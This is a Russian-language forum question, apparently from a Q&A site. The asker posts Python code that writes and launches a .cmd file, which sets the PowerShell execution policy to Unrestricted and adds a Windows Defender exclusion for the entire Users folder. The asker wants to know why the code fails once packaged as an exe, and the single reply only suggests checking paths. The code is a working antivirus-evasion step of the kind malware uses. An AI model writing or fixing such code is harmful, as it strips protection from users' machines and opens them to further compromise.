Задать вопрос
@kyklaed

Запуск cmd файла с помощью subprocess.Popen?

Привет , не могу понять почему этот код отрабатывает когда его запускаешь как скрипт, и не отрабатывает когда пакуешь его в exe, все папка создается файл создается, запускается но никакого эффекта на защитника не оказывает. в чем магия ? а когда запускаешь этот скрипт просто то все отрабатывает, все запускается от админа. Помогите пожалуйста!
ps = os.getcwd()[:2]
base_path = getattr(sys, '_MEIPASS', os.path.dirname(os.path.abspath(__file__))) + r"\def"
os.mkdir(base_path)
with open(base_path + r"\win_dis.cmd", 'w') as deff:
    for line in ['powershell -command "& {Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Force}"',
                 r'powershell -command "Add-MpPreference -ExclusionPath {0}\Users"'.format(ps)]:
        deff.write("{0}\n".format(line))
subprocess.Popen("{0}".format(base_path + r'\win_dis.cmd'))
  • Вопрос задан
  • 546 просмотров
Подписаться 1 Оценить Комментировать
Решения вопроса 1
assanti
@assanti
Человек
Покопайте в эту сторону. Вероятна проблема с путями.
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы
23 дек. 2024, в 09:41
5000 руб./за проект
23 дек. 2024, в 09:39
1000000 руб./за проект